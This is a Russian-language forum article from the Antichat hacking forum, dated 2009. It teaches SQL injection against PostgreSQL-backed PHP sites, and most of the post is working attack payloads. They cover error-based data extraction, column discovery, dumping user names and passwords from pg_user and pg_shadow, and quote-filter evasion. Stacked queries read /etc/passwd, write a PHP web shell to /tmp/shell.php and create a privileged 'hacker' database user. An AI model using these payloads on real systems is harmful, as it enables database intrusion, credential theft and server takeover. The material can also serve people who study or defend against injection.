ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

SQL-Injection в PostgreSQL
  #11  
Старый 01.07.2009, 08:08
Аватар для Ded MustD!e
Ded MustD!e
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
Провел на форуме:
14324684

Репутация: 3908
По умолчанию SQL-Injection в PostgreSQL

SQL-Injection в PostgreSQL


::Вступление::

В этой статье я расскажу об особенностях проведения SQL-инъекций в PostgreSQL. Эта тема уже затрагивалась на форуме, о ней писал Spyder(https://forum.antichat.ru/thread35599.html). Попробуем копнуть чуть глубже.

::Ошибки::

Итак, мы подставили в параметр кавычку, и что мы видим? Вот типичные ошибки, с которыми мы будем работать:

Код:
Warning: pg_query(): Query failed: ERROR: syntax error at or near "\" at character...
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "\" at character...
[Warning] pg_query(): Query failed: ERROR: unterminated quoted string at or near "'" at character...
Warning: PostgreSQL query failed: ERROR: parser: parse error at or near "\" in...
Наличие этих ошибок на 90% гарантирует нам возможность проведения инъекции.

::Комментарии и пробелы::

Пробельные символы можно использовать те же, что и в MySQL, а вот с комментариями дело обстоит несколько иначе, в PostgreSQL обрубать запрос комментарием "/*" не получится. Он ругнется на это ошибкой:
Код:
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated /* comment at or near "/*"
так как такой комментарий обязательно должен быть закрыт. В связи с этим будем использовать "--", который закомментирует после себя всё до конца строки.

::Вывод системной информации::

Аналогов команды user() из MySQL в PostgreSQL аж целых 4 штуки:

user
current_user
session_user
getpgusername()


Вывод версии: version()
Вывод базы данных: current_database()
Вывод IP сервера БД: inet_server_addr()
Вывод порта сервера БД: inet_server_port() (по дефолту 5432)

Выводим необходимую информацию, это удобно сделать одним запросом:

Код:
http://www.site.com/index.php?id=27+and+1=cast((SELECT+version()||chr(58)||current_user||chr(58)||current_database())+as+int)--
И получим например такой ответ сервера:

Код:
Warning: pg_query(): Query failed: ERROR: invalid input syntax for integer: 
"PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Hat 3.4.6-9):ed:sedbtac" in...
Здесь версия - это PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Hat 3.4.6-9)
Юзер - ed
БД - sedbtac

Тут стоит обратить внимание на сам запрос, PostgreSQL очень ревностно относится к типам данных, поэтому результат надо искусственно приводить к требуемому (в смысле к тому, который требуется нам=)) типу данных. Это можно делать функцией cast(выражение+as+тип), либо использовать специфическую конструкцию "выражение::тип", которая присутствует там по историческим мотивам). Например id=27+and+1=version()::int--

Две прямые черты "||" объединяют всё в одну строку, chr(58) - это разделитель ":".

Так как PostgreSQL поддерживает разделение запросов с помощью символа ";", то можно например вывести версию альтернативным способом:

id=27;select+version()::int--

либо

id=27;select+cast(version()+as+int)--

::Подбор количества колонок::

Колонки можно подбирать несколькими способами.

1.Используя конструкцию ORDER BY:

id=27+order+by+100--

В случае меньшего числа колонок возвратится ошибка:

Код:
Warning: pg_query(): Query failed: ERROR: ORDER BY position 100 is not in select list in...
2.ORDER BY за один запрос (способ, который предложил IceAngel):

id=27+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,...

Отнимаем от выведенного числа единицу и получаем количество колонок.


3.Можно подбирать сразу конструкцией UNION+SELECT+NULL:

id=27+union+select+null,null,null,...

пока не исчезнет ошибка.


4.Либо подбирать подставляя цифры как и в MySQL:

id=27+union+select+1,2,3,...

При этом, если число колонок неправильное, то возвратится ошибка:

Код:
Warning: pg_query(): Query failed: ERROR: each UNION query must have the same number of columns in...
А если число колонок верное, так как типизация тут строгая, то возвратиться ошибка о неправильном приведении типов, например:

Код:
Warning: pg_query(): Query failed: ERROR: UNION types date and integer cannot be matched in...
Из всех перечисленных выше методов рациональнее, конечно, использовать конструкцию ORDER BY.

::Системные таблицы::

Подбирать колонки мы научились, осталось узнать как, и собственно, откуда выводить.

Рассмотрим полезные системные таблицы в PostgreSQL:

1. pg_user


Поле****(Тип)****Описание
usename (name) - Имя пользователя
usesysid (int4) - Id
usecreatedb (bool) - Может ли пользователь создавать БД
usesuper (bool) - Имеет ли пользователь привилегии superuser
usecatupd (bool) - Может ли пользователь вносить изменения в системные таблицы
passwd (text) - Пароль (здесь содержатся звездочки "****", а не пароль, по сути такая же аналогия как и в /etc/passwd и /etc/shadow)
valuntil (abstime) - Время истечения аккаунта (имеется ввиду, сколько живет сессия юзера при использовании аутентификации паролем)
useconfig (text[]) - Дефолтная сессия для переменных конфигурации во время работы

Как мы видим, информация из этой таблицы носит скорее информативный характер, так как пароль содержится в другой таблице:

2. pg_shadow

Поле****(Тип)****Описание
usename (name) - Имя пользователя
usesysid (int4) - Id
usecreatedb (bool) - Может ли пользователь создавать БД
usesuper (bool) - Имеет ли пользователь привилегии superuser
usecatupd (bool) - Может ли пользователь вносить изменения в системные таблицы
passwd (text) - Пароль
valuntil (abstime) - Время истечения пароля
useconfig (text[]) - Дефолтная сессия для переменных конфигурации во время работы

Именно из pg_shadow мы можем выводить пароли пользователей БД (аналог mysql.user), но чаще всего доступа к этой таблице нету.

3. pg_database

В этой таблице, нас интересует только одно поле - datname, в котором хранятся имена доступных баз данных.

4. information_schema.tables и information_schema.columns

Тут всё стандартно, те же имена полей (table_name, column_name, table_schema...).

::Вывод информации::

Вот и добрались мы наконец-то до вывода, касаемо конструкций тут всё схоже с MySQL и MSSQL, например, чтобы вывести имя таблицы из information_schema.tables нам потребуется сделать, к примеру, такой запрос:

id=27+union+select+1,table_name,3,...+from+informa tion_schema.tables--

А вот для того, чтобы перебирать значения полей, просто limit+1,1 тут не прокатит, необходимо использовать следующую конструкцию:

id=27+union+select+1,table_name,3,...+from+informa tion_schema.tables+limit+1+offset+1--

При этом перебираем мы тут параметром offset.

Если требуется вывести имена колонок конкретной таблицы, делаем стандартный запрос:

id=27+union+select+1,column_name,3,...+from+inform ation_schema.columns+where+table_name='имя_та блицы'

Но так как кавычки, скорее всего, фильтруются, то у нас есть 2 выхода, во-первых можно перевести имя таблицы в chr(), например если мы хотим получить название колонок таблицы pg_user, то запрос будет:

...+where+table_name=CHR(112)||CHR(103)||CHR(95)|| CHR(117)||CHR(115)||CHR(101)||CHR(114)

Но в PostgreSQL, начиная с версии 8 появилась очень удобная фича (моя мечта - такая же фишка в MySQL), вместо кавычек можно использовать два подряд идущих знака доллара, то есть сработает такая конструкция:

...+where+table_name=$$имя_таблицы$$

Функции concat() в PostgreSQL нет, конкатенация строк осуществляется с помощью двух прямых палок "||", например

id=27+union+select+usename||chr(58)||passwd,null,n ull,null,null,null+from+pg_user--

Доступна конструкция LIKE:

id=27+union+select+table_name,null,null,null,null, null+from+information_schema.columns+where+column_ name+LIKE+$$%password%$$--

При этом %password% должно быть заключено в кавычки.

Конструкция IF используется только во внутренних функциях, и бесполезна для проведения инъекций, вместо неё можно использовать оператор CASE:

Код:
CASE WHEN condition THEN result
     [WHEN ...]
     [ELSE result]
END
Например:

id=27+and+1=cast((SELECT+CASE+WHEN+(1=1)+THEN+$$A$ $+ELSE+$$B$$+END)+as+int)--

Такое выражение в результате вернет нам "А".

Можно использовать альтернативный вывод:

id=27;select+cast(usename||chr(58)||passwd+as+int) +from+pg_user--

Но в ответе мы увидим только первую запись, а перебирать их через +limit+1+offset не получится.

::Выполнение команд::

Ну и на последок самое интересное, выполнение команд к БД, для этого нужно иметь привилегии usesuper.

С помощью выполнения команд можно делать всё что угодно, от чтения файлов на сервере, до заливки шелла, были бы права)
В PostgreSQL, также как и в MSSQL, можно разделять запросы с помощью точки с запятой - ";".

Читаем /etc/passwd:

id=27;CREATE TABLE aaaa(b text); /*создаем таблицу "аааа" с колонкой "b" типа text*/
id=27;COPY аааа FROM '/etc/passwd'; /*копируем в таблицу "аааа" содержимое /etc/passwd*/
id=27+union+select+b+from+aaaa+limit+1+offset+0-- /*читаем содержимое таблицы*/
id=27;DROP TABLE aaaa; /*чистим за собой, удаляем таблицу "аааа"*/

Заливаем шелл:

id=27;CREATE TABLE аааа (b text); /*создаем таблицу "аааа" с колонкой "b" типа text*/
id=27;INSERT INTO аааа(b) VALUES ('<? pasthru($_GET[cmd]); ?>'); /*вставляем в поле "b" таблицы "аааа" ядовитый код*/
id=27;COPY аааа (b) TO '/tmp/shell.php'; /*копируем содержимое поля "b" в файл shell.php*/
id=27;DROP TABLE aaaa; /*чистим за собой, удаляем таблицу "аааа"*/

Создаём нового пользователя:

id=27;CREATE USER hacker PASSWORD 'mypass';

Даём юзеру права на создание новых БД и новых пользователей:

id=27;ALTER USER test1 CREATEUSER CREATEDB;

::Заключение::

Здесь рассмотрены далеко не все особенности PostgreSQL, статья будет дополняться мной по мере накопления материала. Приветствуются любые дополнения/исправления/замечания/комментарии.
__________________
Feci, quod potui. Faciant meliora potentes.

Последний раз редактировалось Ded MustD!e; 01.07.2009 в 21:23..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ